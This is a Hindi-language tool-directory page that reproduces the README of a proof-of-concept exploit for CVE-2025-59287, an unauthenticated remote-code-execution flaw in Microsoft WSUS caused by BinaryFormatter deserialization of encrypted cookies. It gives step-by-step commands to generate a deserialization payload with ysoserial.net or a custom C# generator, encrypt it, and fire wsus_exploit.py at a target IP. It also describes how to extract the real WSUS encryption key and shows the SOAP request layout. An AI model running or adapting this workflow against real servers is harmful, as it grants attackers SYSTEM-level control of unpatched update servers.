Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
उपकरण/GitHubGitHub/maxymgorn/cve-2025-59287-exploit-poc
भेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंगरेड टीमिंगपेलोड डेवलपमेंट
GitHubmaxymgorn/cve-2025-59287-exploit-poc

cve-2025-59287-exploit-poc

CVE-2025-59287 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, जो WSUS में असुरक्षित BinaryFormatter डिसीरियलाइज़ेशन के माध्यम से एक गंभीर बिना-प्रमाणीकरण वाला RCE है, जो क्राफ्टेड एन्क्रिप्टेड कुकीज़ के ज़रिए SYSTEM विशेषाधिकार प्राप्त करता है।

रिपॉजिटरी देखें
11511 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-59287 प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट

भेद्यता अवलोकन

CVE-2025-59287 माइक्रोसॉफ्ट विंडोज सर्वर अपडेट सर्विसेज (WSUS) में एक गंभीर रिमोट कोड एक्ज़ीक्यूशन (RCE) भेद्यता है। यह भेद्यता EncryptionHelper.DecryptData() विधि में BinaryFormatter के माध्यम से AuthorizationCookie डेटा के असुरक्षित डिसीरियलाइज़ेशन के कारण होती है।

प्रभाव: बिना प्रमाणीकरण वाले हमलावर GetCookie() एंडपॉइंट पर दुर्भावनापूर्ण एन्क्रिप्टेड कुकीज़ भेजकर SYSTEM विशेषाधिकारों के साथ रिमोट कोड एक्ज़ीक्यूशन प्राप्त कर सकते हैं।

CVSS स्कोर: गंभीर (9.8)

भेद्यता विवरण

  • प्रभावित घटक: WSUS ClientWebService.asmx GetCookie() एंडपॉइंट
  • मूल कारण: अविश्वसनीय इनपुट पर उचित सत्यापन के बिना BinaryFormatter.Deserialize() को कॉल करना
  • हमले का वेक्टर: GetCookie() SOAP एंडपॉइंट पर भेजी गई दुर्भावनापूर्ण एन्क्रिप्टेड कुकी
  • प्रमाणीकरण आवश्यक: नहीं (बिना प्रमाणीकरण RCE)
  • प्रभावित पोर्ट: 8530 (HTTP), 8531 (HTTPS)

आर्किटेक्चर

┌─────────────────┐
│   हमलावर        │
│                 │
│  1. BinaryFmt   │
│     पेलोड       │
│     जनरेट करें  │
│                 │
│  2. पेलोड       │
│     एन्क्रिप्ट  │
│     करें        │
│                 │
│  3. SOAP        │
│     अनुरोध     │
│     भेजें       │
└────────┬────────┘
         │
         ▼
┌─────────────────┐
│   WSUS सर्वर    │
│                 │
│  GetCookie()    │
│  एंडपॉइंट       │
│                 │
│  DecryptData()  │◄─── भेद्य
│                 │
│  BinaryFormatter│◄─── असुरक्षित डिसीरियलाइज़ेशन
│  Deserialize()  │
│                 │
│  पेलोड          │◄─── SYSTEM के रूप में RCE
│  एक्ज़ीक्यूट    │
│  करें           │
└─────────────────┘

फ़ाइल संरचना

exploit-poc/
├── wsus_exploit.py                    # मुख्य एक्सप्लॉइट स्क्रिप्ट
├── BinaryFormatterPayloadGenerator.cs # .NET पेलोड जनरेटर (C#)
├── encrypt_payload.py                 # WSUS एन्क्रिप्शन सहायक
├── requirements.txt                   # Python निर्भरताएँ
└── README.md                          # यह फ़ाइल

पूर्वापेक्षाएँ

Python वातावरण

pip install -r requirements.txt

.NET Framework (पेलोड जनरेशन के लिए)

  • .NET Framework 4.0 या बाद के संस्करण वाला Windows
  • या विकल्प के रूप में ysoserial.net का उपयोग करें

उपयोग

विधि 1: पूर्ण वर्कफ़्लो

चरण 1: BinaryFormatter पेलोड जनरेट करें

विकल्प A: प्रदान किए गए C# जनरेटर का उपयोग करके

# जनरेटर संकलित करें
csc /reference:"C:\Windows\Microsoft.NET\Framework\v4.0.30319\WindowsBase.dll" BinaryFormatterPayloadGenerator.cs

# पेलोड जनरेट करें
BinaryFormatterPayloadGenerator.exe calc.exe
# बनाता है: payload_YYYYMMDDHHMMSS.bin

विकल्प B: ysoserial.net का उपयोग करके (अनुशंसित)

ysoserial.exe -g ObjectDataProvider -f BinaryFormatter -c "calc.exe" -o raw > payload.bin

चरण 2: पेलोड एन्क्रिप्ट करें

python encrypt_payload.py payload.bin -o encrypted_cookie.txt

महत्वपूर्ण: encrypt_payload.py में एन्क्रिप्शन कुंजी एक प्लेसहोल्डर है। वास्तविक शोषण के लिए, आपको यह करना होगा:

  1. WSUS बाइनरीज़ से वास्तविक एन्क्रिप्शन कुंजी रिवर्स इंजीनियर करें
  2. encrypt_payload.py को वास्तविक कुंजी के साथ अपडेट करें
  3. नीचे "WSUS एन्क्रिप्शन कुंजी ढूँढना" अनुभाग देखें

चरण 3: एक्सप्लॉइट निष्पादित करें

# पेलोड फ़ाइल का उपयोग करके (फ्लाई पर एन्क्रिप्ट करेगा)
python wsus_exploit.py -t 192.168.1.100 -f payload.bin

# पूर्व-एन्क्रिप्टेड कुकी का उपयोग करके
python wsus_exploit.py -t 192.168.1.100 -e "$(cat encrypted_cookie.txt)"

# HTTPS के साथ (पोर्ट 8531)
python wsus_exploit.py -t wsus.example.com -p 8531 -f payload.bin

विधि 2: त्वरित परीक्षण

# एक ही बार में जनरेट, एन्क्रिप्ट और एक्सप्लॉइट करें
BinaryFormatterPayloadGenerator.exe calc.exe
python wsus_exploit.py -t <TARGET_IP> -f payload_*.bin

वास्तविक WSUS एन्क्रिप्शन कुंजी ढूँढना

वास्तविक शोषण के लिए एन्क्रिप्शन कुंजी अवश्य WSUS बाइनरीज़ से निकाली जानी चाहिए।

विधि 1: dnSpy के साथ रिवर्स इंजीनियरिंग

  1. WSUS DLLs का पता लगाएँ:

    %ProgramFiles%\Update Services\WebServices\bin\
    

    या IIS वेब निर्देशिका:

    %SystemDrive%\inetpub\wwwroot\wsusadmin\
    
  2. dnSpy में खोलें (मुफ्त .NET डीकंपाइलर):

    • डाउनलोड करें: https://github.com/dnSpy/dnSpy
    • Microsoft.UpdateServices.WebServices.dll खोलें
  3. EncryptionHelper खोजें:

    • नेविगेट करें: Microsoft.UpdateServices.WebServices नेमस्पेस
    • EncryptionHelper क्लास ढूँढें
    • DecryptData() और EncryptData() विधियों को देखें
    • एन्क्रिप्शन कुंजी और एल्गोरिदम निकालें
  4. सामान्य पैटर्न:

    • हार्डकोडेड बाइट ऐरे
    • स्ट्रिंग स्थिरांक
    • मशीन GUID/SID से कुंजी व्युत्पत्ति

विधि 2: रनटाइम विश्लेषण

  1. WinDbg या x64dbg का उपयोग करें:

    • EncryptionHelper.DecryptData() पर ब्रेकपॉइंट सेट करें
    • कुंजी सामग्री के लिए मेमोरी/रजिस्टरों का निरीक्षण करें
    • एन्क्रिप्शन/डिक्रिप्शन संचालन की निगरानी करें
  2. प्रोसेस मॉनिटर का उपयोग करें:

    • WSUS प्रक्रिया द्वारा फ़िल्टर करें
    • रजिस्ट्री/कॉन्फ़िग फ़ाइल एक्सेस देखें
    • कुंजियाँ रजिस्ट्री में संग्रहीत हो सकती हैं

विधि 3: स्थैतिक विश्लेषण

  1. IDA Pro या Ghidra का उपयोग करें:

    • WSUS बाइनरीज़ लोड करें
    • एन्क्रिप्शन से संबंधित स्ट्रिंग्स खोजें
    • कुंजी व्युत्पत्ति एल्गोरिदम का विश्लेषण करें
  2. strings उपयोगिता का उपयोग करें:

    strings Microsoft.UpdateServices.WebServices.dll | grep -i key
    strings Microsoft.UpdateServices.WebServices.dll | grep -i encrypt
    

एक्सप्लॉइट अपडेट करना

एक बार वास्तविक कुंजी मिल जाने पर, encrypt_payload.py अपडेट करें:

# encrypt_wsus_cookie() में इस लाइन को बदलें:
key_material = b"WSUS_Cookie_Encryption_Key_v1.0"  # प्लेसहोल्डर

# वास्तविक कुंजी के साथ:
key_material = b"ACTUAL_KEY_FROM_WSUS_BINARIES"

या कमांड लाइन के माध्यम से पास करें:

python encrypt_payload.py payload.bin -k "ACTUAL_KEY"

एक्सप्लॉइट प्रवाह

┌─────────────────────────────────────────────────────────────┐
│ 1. BinaryFormatter पेलोड जनरेट करें                        │
│    ObjectDataProvider → Process.Start() → कमांड एक्ज़ीक्यूशन │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. पेलोड एन्क्रिप्ट करें                                    │
│    WSUS एन्क्रिप्शन कुंजी के साथ AES-128-CBC               │
│    ट्रांसमिशन के लिए Base64 एन्कोड                          │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. SOAP अनुरोध बनाएँ                                       │
│    AuthorizationCookie हेडर में एन्क्रिप्टेड पेलोड होता है  │
│    SOAP बॉडी में GetCookie() विधि                           │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 4. WSUS एंडपॉइंट पर भेजें                                   │
│    POST /ClientWebService/ClientWebService.asmx              │
│    पोर्ट 8530 (HTTP) या 8531 (HTTPS)                         │
└───────────────────────┬─────────────────────────────────────┘
                        ▼
┌─────────────────────────────────────────────────────────────┐
│ 5. WSUS प्रोसेसिंग                                          │
│    DecryptData() कुकी डिक्रिप्ट करता है                     │
│    BinaryFormatter.Deserialize() पेलोड निष्पादित करता है    │
│    → SYSTEM के रूप में RCE                                   │
└─────────────────────────────────────────────────────────────┘

SOAP अनुरोध संरचना

POST /ClientWebService/ClientWebService.asmx HTTP/1.1
Host: <TARGET>:8530
Content-Type: text/xml; charset=utf-8
SOAPAction: http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie
User-Agent: WSUS Client
टूल डाउनलोड करें